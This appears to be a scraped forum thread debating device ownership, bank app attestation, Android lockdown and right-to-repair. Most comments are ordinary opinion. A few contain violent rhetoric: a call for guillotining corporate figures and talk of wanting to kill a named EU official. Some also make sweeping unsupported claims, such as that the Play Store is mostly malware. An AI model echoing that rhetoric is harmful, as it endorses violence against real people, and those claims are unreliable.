when desktop browsers are considered less trustworthy to the bank than mobile apps (this is approximately now) they'll invert the functionality and limitations surface so mobile will have more authorizations than desktop browser (this is also happening now).
client attestation is a fundamental transfer of freedom from the client to the server. it's nice in theory (I too want my money safe), but at the very least it needs a third party with different incentives, not the OS, hardware and browser vendor.
The only need I have for banking apps is created by banks themselves, to verify online payments. But it would work just fine with regular text messages. I don't need a banking app at all.
(And maybe verifications aren't needed either, since in the 40+ years I have been using a credit card, never once have I been asked to verify something that I didn't initiate myself.)
Just because you don’t care about banking apps doesn’t mean I don’t. You might churn your own butter, but that doesn’t mean I don’t need to be able to pick it up from the grocery store. Our lives are different from our parents, whose lives are different than theirs. The answer isn’t “just go back 20 years and live like we used to”. The answer is to life in the modern world and still have our basic freedoms.
This is not going to be successful once they demand strong authentication of clients on the server side - the banking apps already do this, you can't have your phone rooted or compromised.
Wait until the authorities will require strong client side authentication for social media sites, news sites, and everywhere user generated content is accepted, tied to official ID issued by the government
To be honest I don't see an easy path to escaping the walled garden in our interactions with big companies and governments (banking, traveling, mainstream social networks, etc.).
But at least we can build alternatives for interpersonal communication and other uses independent from big companies, like the late 90s-early 2000s Internet, and access that with free devices.
If you want the whole commerce in the EU collapse and the CEO's wanting to really hurt and then kill Ursula von del Leyen and the associated lobbies, yeah sure. Let them suicide.
I maintain a software to aid in installation of Windows 7 to new PCs (FlashBoot Pro): https://www.prime-expert.com/flashboot/ . Recently there was a reduction in sales. You are welcome.
> We have to keep defending our own freedoms against non-stop assault until the end of time
That's the human condition. The price of liberty.
However, there are easier ways and harder ways to do it. The key concept to think about is sovereignty. What do you own? What do you control that depends on as few externalities as possible?
The big shift people are going to have to start thinking about is abandoning the network, because the enemies of freedom are increasingly locking it down.
- I own PC hardware that runs Linux. I own a copy of Linux which runs entirely offline. To the extent I get updates to it, they are licensed and distributed in such a manner that it's very hard for the bad guys to mess with them, as Microsoft does with Windows 11.
- I own copies of many media, books, music, movies, TV series, games, these reside as non-DRM'ed bits on my SSD that do not phone home, they don't need the network. I have local copies of software that does not require the network to play them. I have physical copies of these things in some cases.
This is not to say that I never use Netflix, Youtube, Spotify, Steam etc. but I keep them at arm's length and cut back on my usage of them at every opportunity. They are all network tools owned by our enemies, and need to be treated as such.
There really isn't shit they can do to me that would sting, short of cut off the electricity. In the event that the Internet purveyors of slop go Full Evil, and they probably will, I am well equipped.
Now of course the topic of sovereignty is far far bigger than consuming media, and we could get into things like desktop applications or where you interact with your friends as well. But the principles are the same. Go offline.
Yep, there are times when I feel like it is best just to let them win to the point it completely break the bottom of the bucket. Rather than a slow creep, a sudden lurch so that everyone can see it.
Y'know what's troubling to me, freedom as a struggle is indirectly related to other people/ social-political issue.
Like, the people if they decide, they want freedom, are almost guaranteed to get it. But nobody demands it in the truest sense and it feels like the govt. isn't controlled by the people but rather almost by lobbying and that social media etc. have made people complacent in the sense that either we think that others will fight for us or that social media has become a propaganda machine.
I almost broke last night realizing that nuclear can be completely green energy but it isn't the issue of technology but rather political. To me, it felt like a lot of really quality of life changes (like water access, clean cities, good air quality index, atleast where I live) are all almost political issues at this point.
But I am not hopeful towards people, I am hopeful towards tech though. It feels like people have free will, so they might actually pick a net negative option for everybody (trump?), so I am not an optimist because I feel like I have to trust people in the process and I feel like people can do both good and bad, so I wonder how much better our lives have been compared to our ancestors. Maybe trade-offs?
I genuinely felt so weird realizing this, its hard to explain. Like it felt like I can do nothing but watch. And to me I feel like I am being a pessimistic because a lot of people in power feel stupid/inefficient man.
We just don't have a choice. WE have a choice b/w 2 parties and call it freedom.
Of course, freedom will be a constant struggle. People have made it as such. Its on all of us, we all need to take accountability. I get it, accountability is hard, but its much better than waiting for a hero to save us all. We can do it if we realize this.
> To me, it felt like a lot of really quality of life changes (like water access, clean cities, good air quality index, atleast where I live) are all almost political issues at this point.
This is why I struggle when discussing anything on this website - these were always political issues. Everything that touches the way society functions is a political issue. Tech is just a vehicle of political agenda. Freedom is purely political notion, this is why different traditions have different concepts of it. And to obtain it, as well as other things, you need political action. Yet, most HN users, at least that is my impression, tend to think that it is about creating yet another software project or founding startup.
And this is why corpos and government are winning.
> Yet, most HN users, at least that is my impression, tend to think that it is about creating yet another software project or founding startup.
I don't think that a startup is sufficient, but it can be an important step in the right direction. I came to my bank, showed them my Librem 5 phone and asked where I can download an app for it. It was a much clearer message than "but Android isn't free!" (which is of course true). I do the same with governmental services.
Well, political action is hard to bring and you would need an average citizen to weigh his vote into action and not just use his vote for his own biases and as I also said, its really depressing when we think of this to be as a reality and I myself, would like to hide or somehow "prove" that this isn't the case if that makes sense.
So no wonder the majority of us techie/hn users feel this way, you aren't wrong for the impression, I also feel like that's true atleast in my opinion being in this community and there is nothing wrong with that but the reality is kinda bitter.
Government in EU will want it once they introduce the Chat Control legislation and observe that it is trivial to circumvent by either modifying clients to not scan or using free open source alternatives. Logical next step is to lock down all devices and thereby also ensure total and utter surrender of all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google).
They are effectively forcing official Android on all smartphones in most countries with digital ID apps using Play Integrity. More and more people are using smartphones as their main computation device now.
They all works fine because Microsoft allows distros to sign their keys. We are a single bad law or a change of corporate politics away from them not doing that and deleting Linux out of existence on personal computers.
Now, maybe you’ll still be allowed to if you have a special license from the government to purchase approved hardware to run it in a datacenter. Which can be promptly revoked if you were found to be running illegal VPN software or something like that.
This isn't a technical problem. It's a political problem. We should be fighting this with our wallets, votes, voices and influence, not technology. Politicians and industrialists should be informed in no uncertain terms that the enaction such draconian measures will result in significant hits to their ambitions.
The only problem is that it's a tiny minority of us which can even grasp the concept of having root access on your owned computer. The majority believe the Apple (and now Google) narrative that "only the manufacturer can keep them safe" and why would they themselves ever have an opinion on the specific code running on their computer?
Weirdly, the answer is politics again. It's up to the experts who can foresee the problem to inform the general public. Lawyers must inform the public about the hidden harms in a new bill. Doctors must inform the public about the implications of health policy decisions. Likewise, it's up to us to inform the public about the misconceptions you mentioned and their impact. Who else is there to speak in their interests? The fact of the matter is, there is no escaping from politics. No matter what line of profession you choose.
Not when vendors you count on require you to use a provably locked down version and when the government makes it a crime to circumvent. At first u
It'll be the banks who are pushing for it now, but why not Amazon and Netflix abd everyone else eventually?
And you can do that, but your bank and all government services will use Web Environment Integrity API to refuse to service you unless you are using a Google-approved flavor of Linux (e.g. ChromeOS) or Windows.
"Government in EU [which is a very marginal part of the production of electronic devices, wants to implement a "Digital Euro" that requires relying] all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)[, completely external yet planned crucial part of the forthcoming monetary system]."
<think>
They do not sound pretty sound to me.
</think>
--
Edit: speak up, snipers (we are in front of a freefall and you play the fool)... I think it is rational in the discourse to show that in malice or stupidity there is a relevant upper level that shows a more radical condition.
The EU is posing towards reliance of «all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)», which is controlled by third parties.
The question of how private property, intellectual property and posession/ownership should work is indeed something humanity hasn't properly figured out yet.
But if anything, regular people should have more of the cake.
We have! The only problem is a very limited amount of legal decisions accidentally paved the way for a massive dystopia. In particular, the first sale doctrine [1] solves everything immediately.
The courts assumed good faith with a licensing exception, and maybe it was. But that opened the door to essentially completely dismantle the first-sale doctrine. Get rid of that loophole and all this stupidity ends, immediately. Well that and the DMCA. Once you buy something, it's yours to do whatever you want to do with it short of replicating it for commercial benefit.
We also need regulation to prevent unbreakable hardware locks. Integrating the locks deep into VLSI makes removing them unrealistic.
As a more specific way to do this, I'd like to see any software that hardware companies make for their own hardware designated (at the choice of the company) as either part of the hardware or a separate product. In the former case, it must be made available under GPLv3 with full anti-tivoization provisions. In the latter case, it must use only public and documented interfaces and must be completely realistic for another company to make a competing product on a level playing field. Ideally the separate products would also need to be highly cross platform if technically feasible where the burden of showing that it isn't is on the developer.
Most users don't understand the higher order effects of lack of ownership, if they care at all when it doesn't impact convenience in an obvious way. This information already exists before purchase, but it doesn't move sales among the masses where the money is made. The result is zero viable ownership respecting products for those of us who care: all modern CPUs have IME or equivalent, all modern cars are infested with proprietary spyware, all phones at reasonable prices¹ don't fully embrace user ownership in various ways. This also has higher order effects that affect everyone, such as car insurance having an involuntary data mine on anyone who drives a modern car.
1: the exception that I'm thinking of here is fair phone, and it isn't much of an exception.
I just don't see a problem with customers ignoring or not caring about the details as long as its clear. If a car manufacturer makes clear, for example, that you aren't allowed to work on the car you are buying yourself and the person still buys it that's their choice.
A practical one is that many industries have extreme barriers to entry and are dominated by a small number of players, with minimal chance of an upstart competitor showing up.
And if it so happens that engaging in some sort of anti-customer behavior is profitable, then it's entirely viable that all major players adopt it, even if they don't necessarily overtly collude.
The problem is that if 95% of people don't care and do this then the 5% who do care are completely fucked and can't work on their cars. This is because no manufacturer will make more money selling to the 5% who care.
Well I'm in that 5%, and I own older cars mainly so I can still work on them myself.
My argument was that manufacturers should have to be clear up front with what they're selling. If 95% of the population doesn't care, and that means the market for maintainable cars isn't viable, why should I impose my will on everyone else? I'd like to buy a new car and be able to work on it but no company should be obligated to serve that desire.
You're being illogical. You'd only be 'imposing your will' on people if somebody preferred it being impossible to work on their car, which is obviously absurd. It's outright anti-customer behavior with no benefit to the customer whatsoever. It's akin to arguing that e.g. price fixing should be legal so long as a business informs the customer that prices are being rigged against them.
You might be right. We're seeing a paradox of more and more exclusive ownership of property for commercial interests (land, water, airwaves, orbits) and fewer and fewer exclusive ownership for individuals (rented homes, licensed software, subscriptions etc). I too think we're still in a transition stage and humanity has yet to figure this thing out.
Well, I think it was both. He saw the problem (of capital accumulation in capitalism), and predicted a failure of it (due to people wisening up and taking action to fix the problem). Of course he wanted corrective action to happen - he didn't want people to suffer.
And the people did rise up and successfully tried to fix the problem - there was a big socialdemocratic movement that culminated between the world wars.
What he underestimated was the ingenuity with which the capitalism reinvents itself (and creates new forms of private property to gobble up - free computing in RMS's sense just one example). He also overestimated ability of most people to understand the problem (it's lot more lack of emotional rather than intellectual capacity). I would say alienation is central to Marx, unfortunately alienated people can be so indoctrinated to fail to consider the alternatives. Most people seem to prefer to suffer through hardship rather than demand an alternative solution.
> Of course he wanted corrective action to happen - he didn't want people to suffer
That's interesting, this is a pretty generous representation of him in my opinion. Its been a while since I read some of his writings and went down the rabbit hole listening to long form interviews of historians that studied him though, my memory could he failing me!
My understanding what that Marx envisioned a future utopia and saw two revolutions, both presumably violent, as necessary to get to the end goal. At best I could see him being indifferent to the suffering and deaths required in his model, but I never got the feeling that he would regret or would want to avoid the suffering. If I'm not mistaken, one of the revolutions he expected and wanted to see happen would have leaned heavily on the poor and working class turning on the rich and powerful to the point of killing most or all of them.
Again, I hope my representation is accurate here. I don't have time to dig back in to fact check this right now, just sharing my recollection.
Can you be more specific where Marx advocates for a violent revolution in his writings? I don't think word "revolution" (or even his usage of "dictatorship of proletariat") by itself implies violence (cf. "scientific revolution").
But I think there are people who consider forceful redistribution of ownership to be violence, even if no human is actually physically harmed in the process. I don't and I think there is a distinction to be made.
Edit: Nevermind, there's a lot of interesting debate about this on the Internet.
The solution certainly won't be through legislative or judicative powers as they have failed predictably and repeatedly. Sometimes reality must be molded a bit of fait accompli.
What are you proposing if not legislative or judicial means?
Those are the only checks of power on the executive built into our system. Are you expecting we would have to throw out our political system all together, get rid of the top by force, and start over?
The question that hasn't fully been worked is how to allow people to think/feel they own something, while having no actual legal rights to it. But, as we see, this is being worked on.
And the answer is we don't. If we can't run our own software, then we do not own the computer. To run software of our choosing we need the cryptographic keys to the machine and we sure as hell don't own those keys.
Not always. There have been car manufacturers that sold vehicles with features only enabled by a subscription. You may buy a car with heated seats, but the heated seats only work if the manufacturer enables them.
Considering the same law is used to strike a 3 hour GPU documentary over a ~30 second clip, I think it serves to corporate pretty well.
GamersNexus' 3 hour documentary about GPU smuggling (which is way more than a vlog as HN commenters like to portray) is struck down by Bloomberg because they didn't want their 30 second clip, which is squarely fair use BTW, of POTUS speaking to be in that. GamersNexus repealed successfully, but Bloomberg tried to bully them [0].
I don't understand why people think this is something corporations desperately want. It's something they'll abuse if you leave it sitting around for that, but that's just the argument for getting rid of it. How does the ability to be a petulant grouch benefit them? It has negligible monetary value and causes PR damage. It's a footgun that nobody needs and only fools want.
And if they're actually the cartoon villains it would imply, rather than just banal petty autocrats carelessly fooling around with a toy they deserve to have taken away from them, then we should maybe less be saying "it makes sense that they would want it this way" and more be sticking their heads in a guillotine so we can show the children the proper way to resolve a dispute with a tyrant.
In neither case should a law like that remain on the books.
Looks like it's complicated. The video has some theories.
- Bloomberg has a similar investigation which is deeply undercut by GamersNexus video. GN seen the labs, Bloomberg got their access revoked, so theirs is an empty video, and they want the views.
- The video holds no punches back about anyone, and Bloomberg has an NVIDIA sponsored section dedicated to them.
- There's no other source which recorded POTUS' words, and maybe they don't want these words to be widely available, video argues.
- Lastly, they wanted a licensing fee for that 30 seconds to leave their videos alone.
So, when you're a beancounting billionaire corporation, you can have the reasons to go after a bearded guy who manages to do a better job and make you look bad.
That's precisely the "petty autocrats carelessly abusing a footgun" scenario. They've made themselves look bad for negligible benefit while harming innocent people. It's the argument for taking it away from them.
The heated seat is an edge case, but there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car (e.g. replace the breaks with some home-grown solution), as it can put yourself and others in danger, and I see no evil in that being enforced by the government. A more IT-related example might be what radio frequencies can we use - if anyone could spam the whole spectrum, we would lose more than from the "freedom" of being able to do that.
You are permitted to change whatever you like on your car, subject to a roadworthiness inspection by the relevant transit authority.
Cargo van -> Camper van conversions go through this all the time - you add/remove seats, add a lot of weight in the form of beds, water tanks, etc. add/remove windows, put solar panels on the roof... After those changes you have to take it down to the vehicle inspection, and they tell you whether or not your changes have been deemed acceptable to drive on public roads.
> there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car
In at least two european countries that I know of (but probably in all of them) cars need to pass periodic technical inspection to be allowed on the road. Breaks are tested, among other things.
On top of that, you totally can modify your car (even the brakes) provided that you use some certified part that's good enough for your type of car. And you should pass the inspection that tests everything.
I understand that GP point was about home-made brakes (like the software counterpart), but software on a smartphone is not (yet) deadly for others if it doesn't work as expected.
Technical inspections are mandatory across the board in all of the European Union, although the rules (such as the interval between inspections), may differ between countries. The minimum is every two years, some countries do yearly. This is actually governed by a European mandate.
In much of the EU you are also required to request an additional technical inspection if you have made major changes to the car - for example, I had to take mine in when I had a tow hitch installed, and a friend had to take their camper in when they installed an additional seat.
> replace the br[ake]s with some home-grown solution
Funny you mention the brakes, because a friend of mine told me just days ago that he used to change his own brakes consumables (pads) until the new car, which "throws an error" if you replace the part - you have to go to an official service office for the computer configuration.
Now, do not forget that the need for the intervention of third parties lowers the car reliability ("far away", "too expensive", "device too old", "operation failure", "inexperienced operator" etc.).
This should show that your argument has difficult sides. Of course you should be able to act on your critical possessions. It should be within a good framework, but it should be fully, practically possible.
John Deere tractors have been terrible about this for years now. Not just for brakes, effectively any problem with the tractor requires specific software to diagnose and the tractor electronics are designed to keep the tractor immobilized until a Deere technician plugs the right software in and then repairs whatever broke in the first place.
Vanishingly few people want to crash their car due to sub-par breaks. If someone is malicious, the physical access to the car is going to be enough to not stop them and murder is already illegal. So, is this a real issue? If it is, is regulating this the most effective choice for what to regulate to increase safety or are other things more hazardous? Removing freedom and creating mandatory bureaucracy shouldn't be done over imaginary issues.
It's trivially easy to draw the line. If it's to be illegal to make some modification to your car then that law is to be enforced by the government rather than the manufacturer.
> but there is also the entirely valid argument that you shouldn't be able to arbitrarily modify your car (e.g. replace the breaks with some home-grown solution), as it can put yourself and others in danger,
That is a nonsensical argument.
"You shouldn't be able to put anyone else in danger" - agreed.
"You shouldn't be able to modify your car" - wtf does that have to do with danger?
"Modifying brakes (not breaks)" is not the same thing as "Putting people in danger". Sometimes we modify them to have better braking than the standard.
What countries actually do is test the end-result, i.e. Does the car conform to the legally mandated required braking performance?
Rather than campaign to stop people from owning property anymore, maybe just enforce the existing laws (which, as far as I know, are enforced already anyway).
This campaign to divide people into an owning class and a servile class is pretty damn repugnant, and "Because someone can be harmed if we allow people to own things" is just the new "But think of the children" nonsense.
I just tried to come up with a feasible example - maybe gas pipe installation would have been a better one?
But even for cars, it's quite clear that a modify-test cycle there is on the order of months/years (also, has a money burden that probably the owner has to pay). But this would 100% fail to scale to IT - like should I go to the government on each commit? Do I get a signature from them for releases?
> I just tried to come up with a feasible example - maybe gas pipe installation would have been a better one?
The problem is any feasible example you come up with are already regulated, for the same reason you came up with it - there's danger to others!
Where I am, gas pipes, even inside your own house, can only be legally installed and maintained by a certified technician. You also have to get an annual clearance certificate done.
Just about everything dangerous is already regulated; further restrictions "just in case" are not warranted.
It should be up to the individual to decide whether they want to modify their car.
Say you put aftermarket brakes on your car and they fail, causing an accident that harms someone else. The person who changed their brakes should be held liable legally, its as simple as that. Owners that choose to change their car and do a piss poor job of it are held accountable for their actions and others considering similar modifications can choose to learn the lesson.
Yes that means people could be harmed in the process, but regulations themselves harm people too. There's no way around the fact that one way or another people may get harmed during their lifetime. In the long run regulations just guarantee that, should the wrong people take power, the regulations and authority that originally allowed regulations will be abused.
I'm actually surprised I haven't seen more push back on government authority given everything Trump is either doing or claiming he will do. The president should be largely an anemic office acting more as a figurehead than anything else. We've given them the power to effectively legislate with no oversight, that why he may be able to do so much harm.
This is the same argument people make between Apple and Android.
Can I use an Android phone without using Google? Yes, of course you can. There are plenty of secure OS's like Graphen, Lineage, Calyx and many others. Do people really care enough to use them? Hardly any, which proves my point.
Same thing here. Most people will just pay the fee to get the seats. Some might just opt out and not get them. Others will shop around and find some legacy cars that are older that have them but don't require a subscription.
At the end of the day? There's ALWAYS a choice. How hard do you want to look to avoid the subscription? Is it really worth your time and effort? Some would say yes, the vast majority really DGAF. People have been lulled into not caring about stuff like personal privacy and having a say in what's being peddled to you.
There's always a choice… unless you want to access your bank account that is. In which case there is no choice but to use the official unrooted android OS.
You can still find banks that have physical buildings for retail customers as well as online portals to login and manage your account. Mobile apps aren't absolutely a must.
Am I the only one that found that to be a reasonable edge case?
The seat heating was apparently shortening the life of the leather seats. Its cheaper to include heated seats in all cars, than it is to maintain 2 different sets of production. The subscription basically offsets the cost of needing to replace the seats more frequently when the heating is enabled.
Likewise, if you manually enabled the seat heaters, then complained that the seats were falling apart quickly, having given you a legal out to get that feature enabled in warranty, would not have to replace your seats for free.
Not to mention, they apparently already ditched the subscription over backlash.
> The subscription basically offsets the cost of needing to replace the seats more frequently when the heating is enabled
I never heard of car-manufacturers periodically replacing seats within warranty because of the wear of the material, regardless of being "more frequently" or not. This sounds like a massive oversight in product-design.
Of all the cases I know, the customer had to bear the cost of such "wear and tear" cases.
That tracks. Dodge seats from the 90s and early 00s were absolutely terrible. I swear half of them came from the factory torn on the outside of the drivers seat just from the delivery driver getting in to drop the truck off at the dealership.
I would want the ability to change that. I actually think I can mess with that on my car.
>enabling the nominal power of your car instead of handicapping it by default?
Big topic for me. My car has a DPF, and appears to have been geared such that despite containing an automatic DPF burn process, the engine never quite reaches the required temperature, so I need to perform manual burns.
I have straight up asked the dealer for a method to enable the auto burn process, manually. And have asked if theres a retune available, to make the gearing just a little bit less efficient, giving me more power and more engine heat.
The issue, pretty much verbatim from their head regional diesel mechanic is that any modifications of that nature would fuck the emissions standards they had to limbo under. So its categorically denied. They also issued me with stern official warnings that anything I do to make the car more reliable may also void my warranty. And the unofficial advice I have received is that the DPF is "f*cked mate" and to "get the petrol hybrid before the government forces it to wear a similar PPF"
The car also very suspiciously moderates the engine output unrelated to gearing/tune. Just sometimes underperforms at random. I believe its computational again, like you say, handicapping it for emissions reasons.
These things are largely optional for me, but I wont mess with them too much until I am out of warranty.
> I would want the ability to change that. I actually think I can mess with that on my car.
Yes, generally you can disable on demand, but Volkswagen now sells the feature as a subscription. So you need to pay to enable. Maybe this is because it reduces the lifespan of the LEDs. Who knows.
> handicapping it for emissions reasons.
Volkswagen sells you another subscription for that now, at least for their electric vehicles. You can buy the option if you want your EV to perform as it's designed.
Emissions is a completely different beast. However their 140HP and 170HP TFSI engines had no different parts rather than the mapping.
Manipulating engines in a way which alters their carbon footprint is a sensitive topic, and while I was positive towards diesel systems, the particulate matter they emit, the fog they cause (see Paris photos, it's eye opening) and German engineering at its finest (i.e. Dieselgate scandal) soured me from diesel's automotive applications, big time, permanently.
> Volkswagen sells you another subscription for that now, at least for their electric vehicles. You can buy the option if you want your EV to perform as it's designed.
You can also buy "for life" subscription (around £600, if I remember the news about it correctly), so you could also say that the stronger engine costs 600 pounds more when you purchase the car. Not too different to buying the cars in the past: more powerful engine adds to the price tag.
Instead, you can sell the cars at increased (nominal, actually) power and remove the lower tier altogether while keeping the cost savings of removing another production line and logistics for the lower powered motor. Moreover you can allow users to have a choice of power from get go (i.e. Reduce to 150KW for more range). It's a couple of variables at most. Will changing the variables too much will wear down storage that faster?
Same is true for the internal combustion engines. Since they already developed the ability to store multiple maps and change the mapping when required. :)
But, where's the value in that, I mean for shareholders, innit?
FWIW, the traditional engineering argument in this case is:
By selling the same hardware with multiple tiers of functionality artificially locked behind increased prices, it becomes profitable to develop and manufacture products that would otherwise not make economic sense. This occurs when there aren't enough potential buyers of the full-featured version at a price that makes the full-featured version on its own profitable, but the sum of all customers at all price/functionality tiers is profitable. i.e. this model results in products that would otherwise not exist.
I have mixed feelings about that argument. The main one being that it's not much of a stretch to go from that to "the full-featured version sold at price X would be profitable, but because most customers are willing do do without the higher tiers of functionality, we can make even more money by selling a reduced-functionality version at price X, and charge a premium for the extra features", and it sure seems like that's what a lot of American businesses do. But I assume at least some of the time, it really is the former and not the latter.
The thing is most people do not want to mess with computers. They are terrified they are going to break them. Frankly they are not wrong. I spent yesterday just trying to get a div tag to flow correctly with all the objects around it, a whole day down the drain. I have a pretty good idea what I am doing. However, for others these things we call computers are inscrutable devices that just 'decide' to do something wrong. We have built this https://xkcd.com/2347/ and expect everyone to be cool with it. Most people most certainly are not, and are willing to give away whatever just to make it easier to use, and not randomly screw up. Apple and Google can take whatever they gave away now because well most people really do not care. The rest of us can pound sand for all they care. We effectively have a duopoly and they are acting exactly in the manor of that.
Computing devices hardware and operating systems should be treated as essential digital infrastructure, with laws in place to ensure that the owner of the device retains full control over it and to prevent manufacturers or developers from over-imposing their control.
Computing devices hardware and operating systems should be treated as a consumer's choice.
If a company offers some benefit at the cost of some restriction, then users should decide if that benefit is worth the cost. For most Android users, it will be - my grandma isn't interested in the freedom of indie devs to develop for her phone, she's interested in not accidentally installing malware.
I don't like that as much as you don't - for my own devices. But like anyone else who cares about that, I can root it and get past the digital nanny state.
I would agree of there was a choice or actual free market. But there isn't, and your argument is fundamentally flawed. Because there often is no actual choice, the options are artificially restricted. Starting with, many phones cannot be rooted. Then, if you can root, multiple functions are suddenly unavailable, not because of a fundamental technical problem, but because Google, the phone OEM or the app dev decided to not give you the options you wanted.
If you treat it as a consumer choice, there's a rather uncomfortable marketing question - "What, precisely, is the value proposition of a locked down Android device?"
A few years ago "A smartphone so intuitive that grandma can understand it." used to literally be one of the arguments cited for picking iOS over Android. The UX is far more polished and you are far more likely to find an interesting iOS-exclusive app than an Android-exclusive.
Further, as a hardware manufacturer, Apple is far more likely to manage its walled garden in the consumer's interest, as compared to Google - an advertising company.
If Android gets locked up, all the high-end Android manufacturers, especially Samsung, are going to face a slow, but inevitable death.
The Play Store doesn’t protect your grandma from installing malware. Using that as an excuse for transferring control is weak and carries much bigger consequences.
Owner having full control over the device does not prevent a company to offer same benefits and restrictions. But these restrictions need to be optional, so the owner can decide whether to enable or disable them.
Yep. I don't need/want root access, as it is too much of a security risk IMO. But of course the possibility to install a `su` binary should be there.
I primarily want to be able to unlock the bootloader to install a custom de-googled Android Version (such as GrapheneOS) and then lock the bootloader again (using a custom_avb_key). This is currently possible with Google's Pixel devices, but most Android devices don't even offer this...
I think there is also still room to legally require a common SW-layer with respective documentation to utilize features of underlying hardware (optional without the shipped OS on top, disconnecting the device from the shipped ecosystem).
This would also make sense in order to prevent e-waste and put this old hardware to better use.
It's crazy to think how much computing power is just added to a drawer or landfill every day, just because there is no reason for the vendor to allow you to repurpose it.
I would e.g. LOVE a "Browser on everything" OS which just provides a Browser OS for outdated hardware, but the only way this could work on scale would be if the device-vendor would be mandated to provide and document the lower layer...
Even with Coreboot on anything vaguely modern, there is a 'Management Engine' or 'Platform Security Processor' you can't practically control.
On the better understood Intel versions, this is running a full MINIX 3 operating system and controls the network card in ways the BIOS and operating system root cannot monitor. It runs a significant amount of code; with hardware obfuscation that has not yet been broken.
No traditional banking at your parts? Actually I am informed those at your site can provide more services (more open) than the banks I have around now.
But here, no, only some bad players require a smartphone and an account to OS providers to make the bank account work.
I'm holding on to my rolling token generator like it is made of gold, they won't give me another one and force me to use their app. But the app requires a non-rooted phone or it will refuse to function. I've already asked them to give me a free phone just like they gave me a free token generator. So far no dice. Oh, and better still, for large transactions you are not allowed to use the phone app.
> I've already asked them to give me a free phone just like they gave me a free token generator
It's not a matter of free, it's a matter of "certified": they make you use third party devices, but if anything happens they may make it your fault on the legal side. If a device is part of the banking agreement, the device must come from the bank and the responsibility must rely entirely on the bank.
> app
In all of this: how can it be remotely possible to think that in order to get a critical service - accessing your money - one could be supposed to have a contract with some remote alien party (the "App Store")? Because I am guessing your bank does not directly give you the "app". Already this makes me wonder about how the population can be blind to unbelievable levels to the systemic insanity.
Some of them do not require any smartphone - but some of them require that you make a contract with an uncontrolled firm on a different continent to have a money deposit account. And the amount of people who will go "are you mental?!" in front of them are presumably (evidently) negligible.
https://github.com/x653/xv6-riscv-fpga is a fully open RISC-V core, using fully open tools written to tiny FPGA. It betters 386 performance, is practical for an individual to recreate, and it is almost inconceivable that the underlying hardware could have compromised this usage.
If your security posture cares about ME et al. you also shouldn't be running any form of speculation, so 'modern' performance would be off the table even if you bought Nvidia and TSMC. I would more judge a concerted effort comparable to larger open source projects could design verifiable hardware for processes that it readily available to crowdfunded projects that are more efficient and performant then anything released in the previous millennium.
We live in a world where the top chip makers are being shaken down by the US government to keep access to markets because embargoes and tariffs. And where software developers have to have a live feed of what every user is doing to Brussels or be arrested.
Conditioning such rights on the device being "owned outright" will just push the same bad actors to rent you the phones instead of buying them, the same as they did with software licenses. The only way to really fix it is to break up the wealth and power of individuals and corporations based on their total effective power, regardless of the source from which that power is derived.
>The only way to really fix it is to break up the wealth and power of individuals and corporations based on their total effective power
That simply transfers the power to the one doing the breakup, which in most cases, are the Governments, which are notoriously known to invade user's privacy under the guise of protection of children or whatever.
This is not related to malware or scams, and using that is nothing but a PR smoke screen.
While Android is vulnerable, especially to user stupidity, people mostly get scammed by fake credit card charges or by giving access to their notifications and contacts allowing for spam.
And yes, while there are "infected" APK's for popular apps , this again isn't the case here.
The real case here is money.
Apple earns $27B from commision on apps, while Google earns about $3B. Why?
Because Android users are "less willing to pay", which includes pirated APK's and "unlocked" app versions. Eliminating the possibility of using these for 99% of the people will be enough to force them to pay for that app/service in the end, raising the Play store revenues.
Do not trust Google when it comes to "doing it for the user" - their mission is to establish as strong of a monopoly on the platforms and extract as much value as possible. They spent more money on lawyers & policy lobbyists in the last 10 years trying to keep Android closed than some S&P500 companies are worth.
Their incentive is even stronger: most users of ReVanced for example unlock YouTube, which belongs to Google. In that case we are talking about 100% revenue loss, not 30% app commission. This goes for NewPipe, etc.
I wonder if OsmAnd, Termux, F-Droid would survive this or will be casualties. Who will authenticate for a decentralized open source app that has 100 active contributors?
Locking down Chrome and killing ad blockers is not some huge effort, it's closer to the flick of a wrist. Neither is locking down android. They can just do it. And if they think there is nothing anybody can do about it, they will, to get that last 0.01%.
But no doubt they are under an enormous amount of pressure to do this from a variety of corporations and governments as well.
Forcing users to pay for apps rather than install pirated APK's and unlocked apps both raises Google's revenue and reduces the risks of malware and scams.
The consequence is naturally, the savvy users who know how to avoid risks lose the ability to have more control over their phone.
This assumes that Google actually does reduce malware and scams within their garden, but they do not. They are just as prevalent (perhaps more so) within the apps that Google certifies.
So the only thing it kills is the risks to Google's revenue, not the risks to users' security.
My opinion on this changed as we helped elderly parents with declining capabilities. The internet is an extremely dangerous place for those less cognitively able.
It is extremely hard to live without the internet - it's almost impossible - everything from your bank to your doctor to restaurants to the barber that wants to be paid by Venmo. Taking away your parent's internet connection is even harder than taking away their driver license. (And also more isolating.)
There is no law enforcement; there's no consequence for scammers; there's no technology stack that is safe for the less able. It's a brutal Wild West where the weakest are attacked without recourse, flooded with misinformation and lies, and targeted by significant financial scams.
Okay and how does play protect and play integrity prevent this? Anyone?
Hint: it does not. Look around the play store, it's 80% malware and scams.
Why is this the case? Because it has to be or Google goes bankrupt. Google is an inherently parasidic company. They make their money off of advertisement, scams, and conjobs. The more shit the digital world is for you, the better for them. You will always have an adversarial relationship with Google.
They don't want ads that don't lie. They don't want apps that are honest. They don't want to limit notifications. They don't want to get rid of email spam.
The reason Apple devices are so much more pleasant for everyday use and there's so much less scams and adware isn't because Apple is a saint. Its because ultimately Apple doesn't give much of a fuck if they screw over con artist, because that's not the thing keeping them from bankruptcy.
Thank you! Apple is just as evil as the next company. The difference is in how they make their money and what their incentives are.
Google has chosen the path of duping their customers by selling them to the highest bidder. That's their business model across the board.
Apple has chosen to sell devices at a significant markup with the inherent agreement that they won't sell their customer to the highest bidder. After building trust in that arena for years, it wouldn't take much to destroy that credibility. So far, they know this. I'm getting concerned about them starting to plug ads into their core applications, so only time will tell if they get MBA'd to shit.
Yes, but this doesn't do absolutely anything to prevent this.
I've helped elderly family members and non-techie ones who barely know how to open a facebook account - none of them had "malware apps" installed. Their problems were mostly these:
- Websites asking for notification permission just to spam with unrelated malware or porn notifications
- Their calendars being filled with events that are nothing but links to porn or gambling sites, leading to constant notifications
- Apps that don't work yet are filled with ads - blood pressure meter on your phone, sugar level measurements, step trackers - filled with ads and trying to get 1000$ purchases
- An app actually being a launcher filling your screen with ads.
